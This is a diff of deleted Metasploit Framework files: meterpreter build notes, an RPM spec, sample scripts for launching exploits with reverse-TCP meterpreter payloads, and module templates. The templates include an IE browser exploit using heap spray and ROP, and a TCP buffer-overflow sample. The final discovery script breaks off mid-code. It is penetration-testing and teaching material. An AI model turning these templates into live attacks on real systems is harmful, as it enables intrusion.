--------------------------------------------------------
|
||||
|
||||
1) Build bionic libc
|
||||
|
||||
you will need "jam" package for compiling.
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libc
|
||||
# ARCH=x86 TOP=${PWD} jam
|
||||
... lots of output ...
|
||||
# cd out/x86/
|
||||
# sh make.sh
|
||||
.. makes dynamic library ...
|
||||
|
||||
you now have a libbionic.so, copy to source/bionic/compiled/libc.so
|
||||
|
||||
2) Build bionic libm
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libm
|
||||
# make -f msfMakefile
|
||||
... lots of output ...
|
||||
|
||||
you now have a libm.so, copy to source/bionic/compiled/
|
||||
|
||||
3) Build bionic libdl
|
||||
|
||||
# cd external/source/meterpreter/source/bionic/libdl
|
||||
# make
|
||||
|
||||
copy libdl.so to source/bionic/compiled
|
||||
|
||||
4) Build openssl
|
||||
|
||||
download openssl 0.9.8o
|
||||
|
||||
Edit the Configure file. Locate "linux-elf line, duplicate it, s/-elf/-msf/, s/-ldl//, on the duplicate.
|
||||
|
||||
# ./Configure threads no-zlib no-krb5 386 --prefix=/tmp/out linux-msf no-dlfcn shared
|
||||
...
|
||||
# LIBC=/path/to/bionic/libc
|
||||
# LIBM=/path/to/bionic/libm
|
||||
# COMPILED=/path/to/bionic/compiled
|
||||
# make CC="gcc -I ${LIBC}/include -I ${LIBC}/kernel/common/linux/ -I ${LIBC}/kernel/common/ -I ${LIBC}/arch-x86/include/ -I ${LIBC}/kernel/arch-x86/ -I${LIBC}/private -fPIC -DPIC -nostdinc -nostdlib -Dwchar_t='char' -fno-builtin -D_SIZE_T_DECLARED -DElf_Size='u_int32_t' -I${LIBM}/include -L${COMPILED} -D_BYTE_ORDER=_LITTLE_ENDIAN -lc" depend clean all
|
||||
... lots of compiling ...
|
||||
# cp libssl.so ${COMPILED}
|
||||
# cp libcrypto.so ${COMPILED}
|
||||
|
||||
5) Compile the common/support library code
|
||||
|
||||
# cd external/source/meterpreter/workspace/common
|
||||
# make
|
||||
|
||||
.. copy libsupport.so to source/bionic/compiled ..
|
||||
|
||||
6) Build the metsrv_main binary
|
||||
|
||||
# cd external/source/meterpreter/workspace/metsrv
|
||||
# make
|
||||
|
||||
You will need to generate a linker script, and set the location to 0x00040000. -Wl,-verbose >log , edit log for == ==
|
||||
|
||||
.. copy metsrv_main to source/bionic/compiled directory
|
||||
|
||||
7) Build the rtld binary (last step)
|
||||
|
||||
# cd external/source/meterpreter/source/server/rtld
|
||||
# make test
|
||||
|
||||
(make test will make msflinker, which you can use to test the meterpreter)
|
||||
|
||||
8) Compile the ext_server_stdapi
|
||||
|
||||
# external/source/meterpreter/workspace/extensions/stdapi
|
||||
# make
|
||||
|
||||
copy ext_server_stdapi.so to data/meterpreter/ext_server_stdai.lso <-- notice the .lso
|
||||
|
|
@ -1,87 +0,0 @@
|
|||
%define name metasploit
|
||||
%define version 3.2
|
||||
%define release 1
|
||||
%define prefix /opt
|
||||
%define __spec_install_post :
|
||||
|
||||
|
||||
BuildArch: noarch
|
||||
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
|
||||
Group: Applications/System
|
||||
License: BSD
|
||||
Name: %{name}
|
||||
Packager: Ramon de Carvalho Valle <ramon@risesecurity.org>
|
||||
Release: %{release}
|
||||
Requires: ruby
|
||||
Source: %{name}-%{version}.tar.gz
|
||||
Summary: The Metasploit Framework
|
||||
URL: http://www.metasploit.com/framework/
|
||||
Version: %{version}
|
||||
|
||||
|
||||
%description
|
||||
The Metasploit Framework is a development platform for creating security tools
|
||||
and exploits. The framework is used by network security professionals to
|
||||
perform penetration tests, system administrators to verify patch
|
||||
installations, product vendors to perform regression testing, and security
|
||||
researchers world-wide. The framework is written in the Ruby programming
|
||||
language and includes components written in C and assembler.
|
||||
|
||||
|
||||
%prep
|
||||
%setup -q
|
||||
|
||||
|
||||
%install
|
||||
rm -rf %{buildroot}
|
||||
cd ../
|
||||
mkdir -p %{buildroot}%{prefix}
|
||||
cp -r %{name}-%{version} %{buildroot}%{prefix}
|
||||
|
||||
|
||||
%clean
|
||||
rm -rf %{buildroot}
|
||||
|
||||
|
||||
%post
|
||||
ln -s %{prefix}/%{name}-%{version}/msfcli /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfconsole /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfd /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfelfscan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfencode /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfgui /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfmachscan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfopcode /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfpayload /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfpescan /usr/local/bin
|
||||
ln -s %{prefix}/%{name}-%{version}/msfweb /usr/local/bin
|
||||
|
||||
|
||||
%postun
|
||||
rm -f %{prefix}/%{name}-%{version}/msfcli
|
||||
rm -f %{prefix}/%{name}-%{version}/msfconsole
|
||||
rm -f %{prefix}/%{name}-%{version}/msfd
|
||||
rm -f %{prefix}/%{name}-%{version}/msfelfscan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfencode
|
||||
rm -f %{prefix}/%{name}-%{version}/msfgui
|
||||
rm -f %{prefix}/%{name}-%{version}/msfmachscan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfopcode
|
||||
rm -f %{prefix}/%{name}-%{version}/msfpayload
|
||||
rm -f %{prefix}/%{name}-%{version}/msfpescan
|
||||
rm -f %{prefix}/%{name}-%{version}/msfweb
|
||||
|
||||
|
||||
|
||||
%files
|
||||
%defattr(-,root,root)
|
||||
%{prefix}/%{name}-%{version}
|
||||
|
||||
|
||||
%changelog
|
||||
* Sun Nov 19 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
||||
- Changed name to metasploit
|
||||
- Added post and postun scripts
|
||||
|
||||
* Sun Nov 9 2008 Ramon de Carvalho Valle <ramon@risesecurity.org> - 3.2-1
|
||||
- Initial version
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a module's information can be easily serialized
|
||||
# to a readable format.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.empty?)
|
||||
puts "Usage: #{File.basename(__FILE__)} module_name"
|
||||
exit
|
||||
end
|
||||
|
||||
modname = ARGV.shift
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
begin
|
||||
# Create the module instance.
|
||||
mod = framework.modules.create(modname)
|
||||
if not mod
|
||||
puts "Error: The specified Msf::Module, \"#{modname}\", was not found."
|
||||
else
|
||||
# Dump the module's information in readable text format.
|
||||
puts Msf::Serializer::ReadableText.dump_module(mod)
|
||||
end
|
||||
rescue
|
||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
||||
end
|
|
@ -1,30 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates how a file can be encoded using a framework
|
||||
# encoder.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.empty?)
|
||||
puts "Usage: #{File.basename(__FILE__)} encoder_name file_name format"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
begin
|
||||
# Create the encoder instance.
|
||||
mod = framework.encoders.create(ARGV.shift)
|
||||
|
||||
puts(Msf::Simple::Buffer.transform(
|
||||
mod.encode(IO.read(ARGV.shift)), ARGV.shift || 'ruby'))
|
||||
rescue
|
||||
puts "Error: #{$!}\n\n#{$@.join("\n")}"
|
||||
end
|
|
@ -1,20 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates enumerating all of the modules in the framework and
|
||||
# displays their module type and reference name.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
|
||||
# Enumerate each module in the framework.
|
||||
framework.modules.each_module { |name, mod|
|
||||
puts "#{mod.type}: #{name}"
|
||||
}
|
|
@ -1,52 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It makes use of the simplified exploit wrapper method provided by
|
||||
# the Msf::Simple::Exploit mixin.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.length == 0)
|
||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
begin
|
||||
# Initialize the exploit instance
|
||||
exploit = framework.exploits.create(exploit_name)
|
||||
|
||||
# Fire it off.
|
||||
session = exploit.exploit_simple(
|
||||
'Payload' => payload_name,
|
||||
'OptionStr' => ARGV.join(' '),
|
||||
'LocalInput' => input,
|
||||
'LocalOutput' => output)
|
||||
|
||||
# If a session came back, try to interact with it.
|
||||
if (session)
|
||||
output.print_status("Session #{session.sid} created, interacting...")
|
||||
output.print_line
|
||||
|
||||
session.init_ui(input, output)
|
||||
|
||||
session.interact
|
||||
else
|
||||
output.print_line("Exploit completed, no session was created.")
|
||||
end
|
||||
|
||||
rescue
|
||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
|
@ -1,68 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
#
|
||||
# $Id$
|
||||
#
|
||||
# This sample demonstrates using the framework core directly to launch an
|
||||
# exploit. It uses the framework base Framework class so that the
|
||||
# distribution module path is automatically set, but relies strictly on
|
||||
# framework core classes for everything else.
|
||||
#
|
||||
# $Revision$
|
||||
#
|
||||
|
||||
$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))
|
||||
|
||||
require 'msf/base'
|
||||
|
||||
if (ARGV.length == 0)
|
||||
puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
|
||||
exit
|
||||
end
|
||||
|
||||
framework = Msf::Simple::Framework.create
|
||||
exploit_name = ARGV.shift || 'test/multi/aggressive'
|
||||
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
|
||||
input = Rex::Ui::Text::Input::Stdio.new
|
||||
output = Rex::Ui::Text::Output::Stdio.new
|
||||
|
||||
begin
|
||||
# Create the exploit driver instance.
|
||||
driver = Msf::ExploitDriver.new(framework)
|
||||
|
||||
# Initialize the exploit driver's exploit and payload instance
|
||||
driver.exploit = framework.exploits.create(exploit_name)
|
||||
driver.payload = framework.payloads.create(payload_name)
|
||||
|
||||
# Import options specified in VAR=VAL format from the supplied command
|
||||
# line.
|
||||
driver.exploit.datastore.import_options_from_s(ARGV.join(' '))
|
||||
|
||||
# Share the exploit's datastore with the payload.
|
||||
driver.payload.share_datastore(driver.exploit.datastore)
|
||||
|
||||
# Initialize the target index to what's in the exploit's data store or
|
||||
# zero by default.
|
||||
driver.target_idx = (driver.exploit.datastore['TARGET'] || 0).to_i
|
||||
|
||||
# Initialize the exploit and payload user interfaces.
|
||||
driver.exploit.init_ui(input, output)
|
||||
driver.payload.init_ui(input, output)
|
||||
|
||||
# Fire it off.
|
||||
session = driver.run
|
||||
|
||||
# If a session came back, try to interact with it.
|
||||
if (session)
|
||||
output.print_status("Session #{session.sid} created, interacting...")
|
||||
output.print_line
|
||||
|
||||
session.init_ui(input, output)
|
||||
|
||||
session.interact
|
||||
else
|
||||
output.print_line("Exploit completed, no session was created.")
|
||||
end
|
||||
|
||||
rescue
|
||||
output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
|
||||
end
|
|
@ -1,45 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This sample auxiliary module simply displays the selected action and
|
||||
# registers a custom command that will show up when the module is used.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Auxiliary
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Auxiliary Module',
|
||||
'Description' => 'Sample Auxiliary Module',
|
||||
'Author' => ['hdm'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' =>
|
||||
[
|
||||
['Default Action'],
|
||||
['Another Action']
|
||||
]
|
||||
))
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
print_status("Running the simple auxiliary module with action #{action.name}")
|
||||
end
|
||||
|
||||
def auxiliary_commands
|
||||
return { "aux_extra_command" => "Run this auxiliary test commmand" }
|
||||
end
|
||||
|
||||
def cmd_aux_extra_command(*args)
|
||||
print_status("Running inside aux_extra_command()")
|
||||
end
|
||||
|
||||
end
|
|
@ -1,35 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
###
|
||||
#
|
||||
# This sample illustrates a very basic encoder that simply returns the block
|
||||
# that it's passed.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Encoder
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample Encoder',
|
||||
'Description' => %q{
|
||||
Sample encoder that just returns the block it's passed
|
||||
when encoding occurs.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_ALL)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the unmodified buffer to the caller.
|
||||
#
|
||||
def encode_block(state, buf)
|
||||
buf
|
||||
end
|
||||
|
||||
end
|
|
@ -1,149 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample demonstrates how a typical browser exploit is written using commonly
|
||||
# used components such as: HttpServer, BrowserAutopwn, RopDB, DOM Element Property Spray.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
include Msf::Exploit::RopDb
|
||||
include Msf::Exploit::Remote::BrowserAutopwn
|
||||
|
||||
# Set :classid and :method for ActiveX exploits. For example:
|
||||
# :classid => "{C3B92104-B5A7-11D0-A37F-00A0248F0AF1}",
|
||||
# :method => "SetShapeNodeType",
|
||||
autopwn_info({
|
||||
:ua_name => HttpClients::IE,
|
||||
:ua_minver => "8.0",
|
||||
:ua_maxver => "10.0",
|
||||
:javascript => true,
|
||||
:os_name => OperatingSystems::Match::WINDOWS,
|
||||
:rank => NormalRanking
|
||||
})
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Module Name",
|
||||
'Description' => %q{
|
||||
This template covers IE8/9/10, and uses the user-agent HTTP header to detect
|
||||
the browser version. Please note IE8 and newer may emulate an older IE version
|
||||
in compatibility mode, in that case the module won't be able to detect the
|
||||
browser correctly.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r' ],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://metasploit.com' ]
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ],
|
||||
[ 'IE 8 on Windows XP SP3', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows Vista', { 'Rop' => :jre } ],
|
||||
[ 'IE 8 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 9 on Windows 7', { 'Rop' => :jre } ],
|
||||
[ 'IE 10 on Windows 8', { 'Rop' => :jre } ]
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "\x00", # js_property_spray
|
||||
'StackAdjustment' => -3500
|
||||
},
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def get_target(agent)
|
||||
return target if target.name != 'Automatic'
|
||||
|
||||
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
|
||||
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
|
||||
|
||||
ie_name = "IE #{ie}"
|
||||
|
||||
case nt
|
||||
when '5.1'
|
||||
os_name = 'Windows XP SP3'
|
||||
when '6.0'
|
||||
os_name = 'Windows Vista'
|
||||
when '6.1'
|
||||
os_name = 'Windows 7'
|
||||
when '6.2'
|
||||
os_name = 'Windows 8'
|
||||
when '6.3'
|
||||
os_name = 'Windows 8.1'
|
||||
end
|
||||
|
||||
targets.each do |t|
|
||||
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
|
||||
return t
|
||||
end
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def get_payload(t)
|
||||
stack_pivot = "\x41\x42\x43\x44"
|
||||
code = payload.encoded
|
||||
|
||||
case t['Rop']
|
||||
when :msvcrt
|
||||
print_status("Using msvcrt ROP")
|
||||
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
|
||||
|
||||
else
|
||||
print_status("Using JRE ROP")
|
||||
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
|
||||
end
|
||||
|
||||
rop_payload
|
||||
end
|
||||
|
||||
|
||||
def get_html(t)
|
||||
js_p = ::Rex::Text.to_unescape(get_payload(t), ::Rex::Arch.endian(t.arch))
|
||||
html = %Q|
|
||||
<script>
|
||||
#{js_property_spray}
|
||||
|
||||
var s = unescape("#{js_p}");
|
||||
sprayHeap({shellcode:s});
|
||||
</script>
|
||||
|
|
||||
|
||||
html.gsub(/^\t\t/, '')
|
||||
end
|
||||
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
agent = request.headers['User-Agent']
|
||||
print_status("Requesting: #{request.uri}")
|
||||
|
||||
target = get_target(agent)
|
||||
if target.nil?
|
||||
print_error("Browser not supported, sending 404: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Target selected as: #{target.name}")
|
||||
html = get_html(target)
|
||||
send_response(cli, html, { 'Content-Type'=>'text/html', 'Cache-Control'=>'no-cache' })
|
||||
end
|
||||
end
|
|
@ -1,85 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This exploit sample shows how an exploit module could be written to exploit
|
||||
# a bug in an arbitrary TCP server.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Exploit::Remote
|
||||
|
||||
#
|
||||
# This exploit affects TCP servers, so we use the TCP client mixin.
|
||||
#
|
||||
include Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Exploit',
|
||||
'Description' => %q{
|
||||
This exploit module illustrates how a vulnerability could be exploited
|
||||
in an TCP server that has a parsing bug.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['skape'],
|
||||
'References' =>
|
||||
[
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1000,
|
||||
'BadChars' => "\x00",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
# Target 0: Windows All
|
||||
[
|
||||
'Windows XP/Vista/7/8',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Ret' => 0x41424344
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => "Apr 1 2013",
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
#
|
||||
# The sample exploit just indicates that the remote host is always
|
||||
# vulnerable.
|
||||
#
|
||||
def check
|
||||
Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
#
|
||||
# The exploit method connects to the remote service and sends 1024 random bytes
|
||||
# followed by the fake return address and then the payload.
|
||||
#
|
||||
def exploit
|
||||
connect
|
||||
|
||||
print_status("Sending #{payload.encoded.length} byte payload...")
|
||||
|
||||
# Build the buffer for transmission
|
||||
buf = rand_text_alpha(1024)
|
||||
buf << [ target.ret ].pack('V')
|
||||
buf << payload.encoded
|
||||
|
||||
# Send it off
|
||||
sock.put(buf)
|
||||
sock.get_once
|
||||
|
||||
handler
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -1,34 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This class implements a very basic NOP sled generator that just returns a
|
||||
# string of 0x90's.
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Nop
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Sample NOP Generator',
|
||||
'Description' => 'Sample single-byte NOP generator',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Arch' => ARCH_X86)
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a string of 0x90's for the supplied length.
|
||||
#
|
||||
def generate_sled(length, opts)
|
||||
"\x90" * length
|
||||
end
|
||||
|
||||
end
|
|
@ -1,34 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
#
|
||||
# This sample payload is designed to trigger a debugger exception via int3.
|
||||
#
|
||||
###
|
||||
module Metasploit4
|
||||
|
||||
include Msf::Payload::Single
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Debugger Trap',
|
||||
'Description' => 'Causes a debugger trap exception through int3',
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => 'skape',
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Payload' =>
|
||||
{
|
||||
'Payload' => "\xcc"
|
||||
}
|
||||
))
|
||||
end
|
||||
|
||||
end
|
|
@ -1,40 +0,0 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/post/common'
|
||||
|
||||
###
|
||||
#
|
||||
# This post module sample shows how we can execute a command on the compromised machine
|
||||
#
|
||||
###
|
||||
class Metasploit4 < Msf::Post
|
||||
|
||||
include Msf::Post::Common
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => 'Sample Post Module',
|
||||
'Description' => %q{Sample Post Module},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'sinn3r'],
|
||||
'Platform' => [ 'win'],
|
||||
'SessionTypes' => [ "shell", "meterpreter" ]
|
||||
))
|
||||
end
|
||||
|
||||
#
|
||||
# This post module runs a ipconfig command and returns the output
|
||||
#
|
||||
def run
|
||||
print_status("Executing ipconfig on remote machine")
|
||||
o = cmd_exec("ipconfig")
|
||||
print_line(o)
|
||||
end
|
||||
|
||||
end
|
|
@ -1,207 +0,0 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'rubygems'
|
||||
require 'optparse'
|
||||
require 'msfrpc-client'
|
||||
require 'rex/ui'
|
||||
|
||||
def usage(ropts)
|
||||
$stderr.puts ropts
|
||||
|
||||
if @rpc and @rpc.token
|
||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
||||
if wspaces.keys.length > 0
|
||||
$stderr.puts "Active Projects:"
|
||||
wspaces.each_pair do |k,v|
|
||||
$stderr.puts "\t#{k}"
|
||||
end
|
||||
end
|
||||
end
|
||||
$stderr.puts ""
|
||||
exit(1)
|
||||
end
|
||||
|
||||
opts = {}
|
||||
|
||||
# Parse script-specific options
|
||||
parser = Msf::RPC::Client.option_parser(opts)
|
||||
parser.separator('Discover Mandatory Options:')
|
||||
|
||||
parser.on("--project PROJECT") do |x|
|
||||
opts[:project] = x
|
||||
end
|
||||
|
||||
parser.on("--targets TARGETS") do |x|
|
||||
opts[:targets] = [x]
|
||||
end
|
||||
|
||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
||||
opts[:blacklist] = x
|
||||
end
|
||||
|
||||
parser.on("--speed SPEED (optional)") do |x|
|
||||
opts[:speed] = x
|
||||
end
|
||||
|
||||
parser.on("--extra-ports PORTS (optional)") do |x|
|
||||
opts[:extra_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
||||
opts[:blacklist_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--custom-ports PORTS (optional)") do |x|
|
||||
opts[:custom_ports] = x
|
||||
end
|
||||
|
||||
parser.on("--portscan-timeout TIMEOUT (optional)") do |x|
|
||||
opts[:portscan_timeout] = x
|
||||
end
|
||||
|
||||
parser.on("--source-port PORT (optional)") do |x|
|
||||
opts[:source_port] = x
|
||||
end
|
||||
|
||||
parser.on("--custom-nmap-options OPTIONS (optional)") do |x|
|
||||
opts[:custom_nmap_options] = x
|
||||
end
|
||||
|
||||
parser.on("--disable-udp-probes (optional)") do
|
||||
opts[:disable_udp_probes] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-finger-users (optional)") do
|
||||
opts[:disable_finger_users] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-snmp-scan (optional)") do
|
||||
opts[:disable_snmp_scan] = true
|
||||
end
|
||||
|
||||
parser.on("--disable-service-identification (optional)") do
|
||||
opts[:disable_service_identification] = true
|
||||
end
|
||||
|
||||
parser.on("--smb-user USER (optional)") do |x|
|
||||
opts[:smb_user] = x
|
||||
end
|
||||
|
||||
parser.on("--smb-pass PASS (optional)") do |x|
|
||||
opts[:smb_pass] = x
|
||||
end
|
||||
|
||||
parser.on("--smb-domain DOMAIN (optional)") do |x|
|
||||
opts[:smb_domain] = x
|
||||
end
|
||||
|
||||
parser.on("--dry-run (optional)") do
|
||||
opts[:dry_run] = true
|
||||
end
|
||||
|
||||
parser.on("--single-scan (optional)") do
|
||||
opts[:single_scan] = true
|
||||
end
|
||||
|
||||
parser.on("--fast-detect (optional)") do
|
||||
opts[:fast_detect] = true
|
||||
end
|
||||
|
||||
parser.on("--help") do
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
parser.separator('')
|
||||
parser.parse!(ARGV)
|
||||
|
||||
@rpc = Msf::RPC::Client.new(opts)
|
||||
|
||||
if not @rpc.token
|
||||
$stderr.puts "Error: Invalid RPC server options specified"
|
||||
$stderr.puts parser
|
||||
exit(1)
|
||||
end
|
||||
|
||||
# Provide default values for certain options - If there's no alternative set
|
||||
# use the default provided by Pro -- see the documentation.
|
||||
project = opts[:project] || usage(parser)
|
||||
targets = opts[:targets] || usage(parser)
|
||||
blacklist = opts[:blacklist]
|
||||
speed = opts[:speed] || "5"
|
||||
extra_ports = opts[:extra_ports]
|
||||
blacklist_ports = opts[:blacklist_ports]
|
||||
custom_ports = opts[:custom_ports]
|
||||
portscan_timeout = opts[:portscan_timeout] || 300
|
||||
source_port = opts[:source_port]
|
||||
custom_nmap_options = opts[:custom_nmap_options] ||
|
||||
disable_udp_probes = opts[:disable_udp_probes] || false
|
||||
disable_finger_users = opts[:disable_finger_users] || false
|
||||
disable_snmp_scan = opts[:disable_snmp_scan] || false
|
||||
disable_service_identification = opts[:disable_service_identification] || false
|
||||
smb_user = opts[:smb_user] || ""
|
||||
smb_pass = opts[:smb_pass] || ""
|
||||
smb_domain = opts[:smb_domain] || ""
|
||||
single_scan = opts[:single_scan] || false
|
||||
fast_detect = opts[:fast_detect] || false
|
||||
|
||||
# Get the default user from Pro
|
||||
user = @rpc.call("pro.default_admin_user")['username']
|
||||
|
||||
# Create the task object with all options
|
||||
